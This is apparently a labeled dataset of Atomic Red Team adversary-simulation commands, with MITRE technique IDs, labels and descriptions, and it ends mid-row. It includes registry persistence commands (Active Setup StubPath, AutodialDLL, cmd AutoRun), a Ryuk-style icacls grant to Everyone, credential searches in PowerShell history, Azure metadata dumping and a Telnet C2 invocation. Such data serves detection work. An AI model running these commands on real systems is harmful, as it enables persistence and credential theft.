6448f0c863fa83967d617e2e,"Set-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" ""StubPath"" ""#{payload}"" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup","Set-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" ""StubPath"" ""#{payload}"" -Force & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.014/T1547.014.yaml,HKLM - Add malicious StubPath value to existing Active Setup Entry,T1547.014,"[""T1547.014""]",windows,0.9,False,"This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) 
Said key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. 
Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e61abe4a0bb36d7b137d070c,"Remove-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" -Name ""StubPath"" -Force Remove-ItemProperty ""HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" -Name ""Version"" -Force","Remove-ItemProperty ""HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" -Name ""StubPath"" -Force Remove-ItemProperty ""HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" -Name ""Version"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.014/T1547.014.yaml,HKLM - Add malicious StubPath value to existing Active Setup Entry,T1547.014,"[""T1547.014""]",windows,0.55,True,"This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) 
Said key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. 
Without the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f5e23b46bc9c3b94d894fc1,"Set-ItemProperty -Path ""HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" -Name ""Version"" -Value ""0,0,0,0"" & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup","Set-ItemProperty -Path ""HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E9A340-D1F1-11D0-821E-444553540600}"" -Name ""Version"" -Value ""0,0,0,0"" & $env:SYSTEMROOT\system32\runonce.exe /AlternateShellStartup",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.014/T1547.014.yaml,HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number,T1547.014,"[""T1547.014""]",windows,0.9,False,"This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, 
which will force the StubPath payload (if set) to execute.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca54001a1ca87777bed50a32,takeown.exe /f #{file_folder_to_own} /r,takeown.exe /f #{file_folder_to_own} /r,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,Take ownership using takeown utility,T1222.001,"[""T1222.001""]",windows,0.9,False,"Modifies the filesystem permissions of the specified file or folder to take ownership of the object. Upon execution, ""SUCCESS"" will
be displayed for the folder and each file inside of it.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d82b3a90bd06777e495639d9,icacls.exe #{file_or_folder} /grant #{user_or_group}:F,icacls.exe #{file_or_folder} /grant #{user_or_group}:F,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,cacls - Grant permission to specified user or group recursively,T1222.001,"[""T1222.001""]",windows,0.9,False,"Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If ""Access is denied""
is displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, ""Successfully processed 3 files""
will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1cbd57d592e439e373bbec01,attrib.exe -r #{file_or_folder}\*.* /s,attrib.exe -r #{file_or_folder}\*.* /s,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,attrib - Remove read-only attribute,T1222.001,"[""T1222.001""]",windows,0.9,False,"Removes the read-only attribute from a file or folder using the attrib.exe command. Upon execution, no output will be displayed.
Open the file in File Explorer > Right Click - Prperties and observe that the Read Only checkbox is empty.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b51f2fc0b3a858498a96abbd,mkdir #{file_or_folder} >nul 2>&1 echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt,mkdir #{file_or_folder} >nul 2>&1 echo T1222.001_attrib1 >> #{file_or_folder}\T1222.001_attrib1.txt echo T1222.001_attrib2 >> #{file_or_folder}\T1222.001_attrib2.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib1.txt attrib.exe +h #{file_or_folder}\T1222.001_attrib2.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,attrib - hide file,T1222.001,"[""T1222.001""]",windows,0.9,False,"Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
the victim does not see the file.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7c351cd148a1ff5416ccae2b,del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1,del /A:H #{file_or_folder}\T1222.001_attrib*.txt >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,attrib - hide file,T1222.001,"[""T1222.001""]",windows,0.55,True,"Attackers leverage an existing Windows binary, attrib.exe, to mark specific files or folder as hidden by using specific flags so that
the victim does not see the file.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
15b063cb1eba13d11723d9ef,"icacls ""#{path}"" /grant Everyone:F /T /C /Q","icacls ""#{path}"" /grant Everyone:F /T /C /Q",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,Grant Full Access to folder for Everyone - Ryuk Ransomware Style,T1222.001,"[""T1222.001""]",windows,0.9,False,"Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
**icacls ""C:\*"" /grant Everyone:F /T /C /Q**
However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
You can set your own path variable to ""C:\*"" if you prefer.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca75196bfb082bbd3a37d0e7,icacls '#{path}' /restore #{file_path} /q >nul 2>&1,icacls '#{path}' /restore #{file_path} /q >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,Grant Full Access to folder for Everyone - Ryuk Ransomware Style,T1222.001,"[""T1222.001""]",windows,0.55,True,"Invokes the command line similar to that used by Ryuk Ransomware to grant full access to the entire C:\ drive for Everyone.
**icacls ""C:\*"" /grant Everyone:F /T /C /Q**
However, for this atomic we set the permission on C:\Users\Public so it completes faster and doesn't irreversibly affect the host.
You can set your own path variable to ""C:\*"" if you prefer.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
980d9830063b449aa58677bd,"""C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe""","""C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.001/T1222.001.yaml,SubInAcl Execution,T1222.001,"[""T1222.001""]",windows,0.9,False,"This test simulates an adversary executing the Windows Resource kit utility SubInAcl. This utility was abused by adversaries in the past in order to modify access permissions. Upon execution, a process creation log should be generated indicating successful execution.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5ccf80a7423381316db0ee4,"$buffer = New-Object byte[] 11 $handle = New-Object IO.FileStream ""\\.\#{volume}"", 'Open', 'Read', 'ReadWrite' $handle.Read($buffer, 0, $buffer.Length) $handle.Close() Format-Hex -InputObject $buffer","$buffer = New-Object byte[] 11 $handle = New-Object IO.FileStream ""\\.\#{volume}"", 'Open', 'Read', 'ReadWrite' $handle.Read($buffer, 0, $buffer.Length) $handle.Close() Format-Hex -InputObject $buffer",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1006/T1006.yaml,Read volume boot sector via DOS device path (PowerShell),T1006,"[""T1006""]",windows,0.9,False,"This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.
On success, a hex dump of the first 11 bytes of the volume is displayed.

For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):
`",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eaf66e312fcab81014242974,#{client_path} #{server_ip} --port #{server_port},#{client_path} #{server_ip} --port #{server_port},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1071/T1071.yaml,Telnet C2,T1071,"[""T1071""]",windows,0.9,False,"An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a74a88996e765f9e41cf3f44,tasklist.exe /svc sc query sc query state= all,tasklist.exe /svc sc query sc query state= all,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery,T1007,"[""T1007""]",windows,0.9,False,"Identify system services.

Upon successful execution, cmd.exe will execute service commands with expected result to stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2542c48b7a552af73687f2f9,net.exe start >> #{output_file},net.exe start >> #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - net.exe,T1007,"[""T1007""]",windows,0.9,False,"Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ccd0da521f4bcfbbf870196,del /f /q /s #{output_file} >nul 2>&1,del /f /q /s #{output_file} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - net.exe,T1007,"[""T1007""]",windows,0.55,True,"Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors.

Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3eccdb9d69f50d20ea034111,"if [ ""$(uname)"" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;","if [ ""$(uname)"" = 'FreeBSD' ]; then service -e; else systemctl --type=service; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - systemctl/service,T1007,"[""T1007""]",linux,0.9,False,"Enumerates system service using systemctl/service
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
841b0960a2cb4b16bc82f807,powershell.exe Get-Service,powershell.exe Get-Service,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,Get-Service Execution,T1007,"[""T1007""]",windows,0.9,False,Executes the Get-Service cmdlet to gather objects representing all services on the local system.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bc533405f566b96a99061fde,launchctl list,launchctl list,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - macOS launchctl,T1007,"[""T1007""]",macos,0.9,False,"Enumerates services on macOS using launchctl. Used by adversaries for
identifying daemons, background services, and persistence mechanisms.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7aa2216be20ce8cf6385a5f,schtasks /query /fo LIST /v,schtasks /query /fo LIST /v,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - Windows Scheduled Tasks (schtasks),T1007,"[""T1007""]",windows,0.9,False,"Enumerates scheduled tasks on Windows using schtasks.exe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
335eb395b1930779a1266e65,Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' | ForEach-Object { $p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue [PSCustomObject]@{ Name = $_.PSChildName DisplayName = $p.DisplayName ImagePath = $p.ImagePath StartType = $p.Start } },Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' | ForEach-Object { $p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue [PSCustomObject]@{ Name = $_.PSChildName DisplayName = $p.DisplayName ImagePath = $p.ImagePath StartType = $p.Start } },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - Services Registry Enumeration,T1007,"[""T1007""]",windows,0.9,False,"Enumerates Windows services by reading the Services registry key
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
Manager APIs or CLI tools such as sc.exe or Get-Service.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33a63ad0d0a2a33e4a1d3b92,"echo ""[*] Listing SysV init scripts (/etc/init.d):"" if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo ""/etc/init.d not present on this system""; fi echo echo ""[*] Listing runlevel directories (/etc/rc*.d):"" ls -ld /etc/rc*.d 2>/dev/null || echo ""No /etc/rc*.d directories found""","echo ""[*] Listing SysV init scripts (/etc/init.d):"" if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo ""/etc/init.d not present on this system""; fi echo echo ""[*] Listing runlevel directories (/etc/rc*.d):"" ls -ld /etc/rc*.d 2>/dev/null || echo ""No /etc/rc*.d directories found""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1007/T1007.yaml,System Service Discovery - Linux init scripts,T1007,"[""T1007""]",linux,0.9,False,"Enumerates system services by listing SysV init scripts and runlevel
symlinks under /etc/init.d and /etc/rc*.d.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e7afd001ce430844b9583ed1,remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue,remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.005/T1552.005.yaml,Azure - Search Azure AD User Attributes for Passwords,T1552.005,"[""T1552.005""]",azure-ad,0.55,True,"This test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. 
Upon successful execution, this test will scan all user attributes for any strings containing ""password"".
Those unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. 
See: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatshe",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c50559ea62504decbb819a0,"Invoke-RestMethod -Headers @{""Metadata""=""true""} -Method GET -Uri ""http://169.254.169.254/metadata/instance?api-version=2021-02-01"" | ConvertTo-Json -Depth 64 > #{output_file}","Invoke-RestMethod -Headers @{""Metadata""=""true""} -Method GET -Uri ""http://169.254.169.254/metadata/instance?api-version=2021-02-01"" | ConvertTo-Json -Depth 64 > #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.005/T1552.005.yaml,Azure - Dump Azure Instance Metadata from Virtual Machines,T1552.005,"[""T1552.005""]",iaas:azure,0.9,False,"This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. 
See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd0fe4ddf2262f664156c9e9,remove-item #{output_file} -force -erroraction silentlycontinue,remove-item #{output_file} -force -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.005/T1552.005.yaml,Azure - Dump Azure Instance Metadata from Virtual Machines,T1552.005,"[""T1552.005""]",iaas:azure,0.55,True,"This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. 
See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83ee57ae4f207fd3c41000e1,"export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.credential-access.ec2-get-password-data echo ""starting detonate"" ./stratus detonate aws.credential-access.ec2-get-password-data --force","export AWS_REGION=#{aws_region} cd #{stratus_path} echo ""starting warmup"" ./stratus warmup aws.credential-access.ec2-get-password-data echo ""starting detonate"" ./stratus detonate aws.credential-access.ec2-get-password-data --force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552/T1552.yaml,AWS - Retrieve EC2 Password Data using stratus,T1552,"[""T1552""]","linux,macos,iaas:aws",0.9,False,This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.clo,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff1ee2e9e4b217c1bb0f5743,"export AWS_REGION=#{aws_region} echo ""Cleanup detonation"" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus*","export AWS_REGION=#{aws_region} echo ""Cleanup detonation"" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus*",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552/T1552.yaml,AWS - Retrieve EC2 Password Data using stratus,T1552,"[""T1552""]","linux,macos,iaas:aws",0.55,True,This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.clo,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e642c56ecfd37efd3c6181a9,"ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String ""password"", ""-p"", ""key"", ""pwd"", ""pass""","ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String ""password"", ""-p"", ""key"", ""pwd"", ""pass""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552/T1552.yaml,Search for Passwords in Powershell History,T1552,"[""T1552""]",windows,0.9,False,"Find passwords in the powershell history files
Searching for following strings: ""password"", ""-p"", ""key"", ""pwd"", ""pass""
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b35712af76844ee6a4e41b9b,docker build -t t1612 $PathtoAtomicsFolder/T1612/src/ docker run --name t1612_container --rm -d -t t1612 docker exec t1612_container ./test.sh,docker build -t t1612 $PathtoAtomicsFolder/T1612/src/ docker run --name t1612_container --rm -d -t t1612 docker exec t1612_container ./test.sh,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1612/T1612.yaml,Build Image On Host,T1612,"[""T1612""]",containers,0.9,False,"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ebe76fd08f99f9d8e79c6d7,docker stop t1612_container docker rmi -f t1612,docker stop t1612_container docker rmi -f t1612,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1612/T1612.yaml,Build Image On Host,T1612,"[""T1612""]",containers,0.55,True,"Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2df593d82d7f7fd4ddbc344c,"aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description ""Atomic Red Team Test Snapshot"" --query ""SnapshotId"" --output text","aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description ""Atomic Red Team Test Snapshot"" --query ""SnapshotId"" --output text",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1578.001/T1578.001.yaml,AWS - Create Snapshot from EBS Volume,T1578.001,"[""T1578.001""]",iaas:aws,0.9,False,"Creates an EBS snapshot in AWS using the AWS CLI.
This simulates an adversary duplicating volume data via snapshots for persistence or exfiltration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ecd471887b3555c25f041f1,"SNAPSHOT_ID=$(aws ec2 describe-snapshots --region #{aws_region} --filters ""Name=volume-id,Values=#{aws_volume_id}"" --query ""Snapshots[0].SnapshotId"" --output text) if [ ""$SNAPSHOT_ID"" != ""None"" ]; then aws ec2 delete-snapshot --region #{aws_region} --snapshot-id ""$SNAPSHOT_ID"" fi","SNAPSHOT_ID=$(aws ec2 describe-snapshots --region #{aws_region} --filters ""Name=volume-id,Values=#{aws_volume_id}"" --query ""Snapshots[0].SnapshotId"" --output text) if [ ""$SNAPSHOT_ID"" != ""None"" ]; then aws ec2 delete-snapshot --region #{aws_region} --snapshot-id ""$SNAPSHOT_ID"" fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1578.001/T1578.001.yaml,AWS - Create Snapshot from EBS Volume,T1578.001,"[""T1578.001""]",iaas:aws,0.55,True,"Creates an EBS snapshot in AWS using the AWS CLI.
This simulates an adversary duplicating volume data via snapshots for persistence or exfiltration.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2059d0edebba493e961fc014,az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus,az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1578.001/T1578.001.yaml,Azure - Create Snapshot from Managed Disk,T1578.001,"[""T1578.001""]",iaas:azure,0.9,False,"Creates a snapshot of a managed disk in Azure using the Azure CLI.
Simulates adversary snapshotting behavior for persistence or data duplication.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4c6a677fa489b7635d8f4d2e,az snapshot delete --resource-group #{azure_resource_group} --name #{azure_snapshot_name},az snapshot delete --resource-group #{azure_resource_group} --name #{azure_snapshot_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1578.001/T1578.001.yaml,Azure - Create Snapshot from Managed Disk,T1578.001,"[""T1578.001""]",iaas:azure,0.55,True,"Creates a snapshot of a managed disk in Azure using the Azure CLI.
Simulates adversary snapshotting behavior for persistence or data duplication.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ee73a7a6c313ee21595193c,gcloud compute snapshots create #{gcp_snapshot_name} --source-disk=#{gcp_disk_name} --zone=#{gcp_zone},gcloud compute snapshots create #{gcp_snapshot_name} --source-disk=#{gcp_disk_name} --zone=#{gcp_zone},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1578.001/T1578.001.yaml,GCP - Create Snapshot from Persistent Disk,T1578.001,"[""T1578.001""]",iaas:gcp,0.9,False,"Creates a snapshot of a persistent disk in GCP using the gcloud CLI.
Emulates adversary behavior to gain access to volume data or replicate environment state.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fef8c64cd2596a03738aba7c,gcloud compute snapshots delete #{gcp_snapshot_name} --quiet,gcloud compute snapshots delete #{gcp_snapshot_name} --quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1578.001/T1578.001.yaml,GCP - Create Snapshot from Persistent Disk,T1578.001,"[""T1578.001""]",iaas:gcp,0.55,True,"Creates a snapshot of a persistent disk in GCP using the gcloud CLI.
Emulates adversary behavior to gain access to volume data or replicate environment state.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e1af7c19374993cb04a4ac0,"Start-Process -FilePath ""#{autoit_path}"" -ArgumentList ""#{script_path}""","Start-Process -FilePath ""#{autoit_path}"" -ArgumentList ""#{script_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059/T1059.yaml,AutoIt Script Execution,T1059,"[""T1059""]",windows,0.9,False,"An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fdcf01b25d3ffb64755f11af,Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll,Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence with Custom AutodialDLL,T1546,"[""T1546""]",windows,0.9,False,"The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. 

The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.
[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cea53eb33d6fc35059872ea4,Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll,Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence with Custom AutodialDLL,T1546,"[""T1546""]",windows,0.55,True,"The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. 

The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.
[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
88dea282a9d27dc2ed14aaa6,"New-ItemProperty -Path ""HKLM:\Software\Microsoft\Command Processor"" -Name ""AutoRun"" -Value ""#{command}"" -PropertyType ""String""","New-ItemProperty -Path ""HKLM:\Software\Microsoft\Command Processor"" -Name ""AutoRun"" -Value ""#{command}"" -PropertyType ""String""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,HKLM - Persistence using CommandProcessor AutoRun key (With Elevation),T1546,"[""T1546""]",windows,0.9,False,"An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
